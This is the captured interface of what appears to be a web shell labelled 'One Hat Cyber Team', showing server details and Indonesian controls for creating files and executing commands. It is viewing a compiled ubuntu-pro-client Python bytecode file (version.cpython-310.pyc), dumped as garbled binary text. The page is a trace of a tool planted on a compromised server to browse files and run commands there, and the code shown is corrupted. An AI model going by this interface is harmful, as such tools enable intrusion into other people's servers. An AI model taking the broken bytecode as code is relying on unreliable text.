⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
uaclient
/
__pycache__
/
View File Name :
version.cpython-310.pyc
o 2f @ s d Z ddlZddlmZ ddlmZ ddlmZm Z m Z ddlmZm Z ddlmZ ddlmZ d Zd Zdefdd Zdee fddZdee fddZdS )z" Client version related functions N)inf)Optional)get_apt_cache_timeget_pkg_candidate_versionversion_compare)CANDIDATE_CACHE_PATHUAC_RUN_PATH)ProcessExecutionError)subpz33.2z 33.2~22.04returnc C sp t dst S tjtjt} tjtj| dr6g d}zt|\}}| W S t y5 Y tS w tS )aO Return the packaged version as a string Prefer the binary PACKAGED_VESION set by debian/rules to DEB_VERSION. If unavailable, check for a .git development environments: a. If run in our upstream repo `git describe` will gives a leading XX.Y so return the --long version to allow daily build recipes to count commit offset from upstream's XX.Y signed tag. b. If run in a git-ubuntu pkg repo, upstream tags aren't visible, believe __VERSION__ is correct - there is and MUST always be a test to make sure it matches debian/changelog z@@PACKAGED_VERSIONz.git)gitdescribez --abbrev=8z--match=[0-9]*z--long)PACKAGED_VERSION startswithospathdirname__file__existsjoinr stripr __VERSION__)topdircmdout_ r 2/usr/lib/python3/dist-packages/uaclient/version.pyget_version s r c C s t pt} tjtrttj| k rUd }z.td}|rBtj t dd ttd}|| W d |W S 1 s:w Y |W S W n t yT |d urR| Y S Y nw zttd}| W d W S 1 smw Y W d S t y~ Y d S w )Nzubuntu-pro-clientT)exist_okwr)r r r r r r statst_mtimer makedirsr openwrite Exceptionreadr )last_apt_cache_updatecandidate_versionfr r r get_last_known_candidate/ s<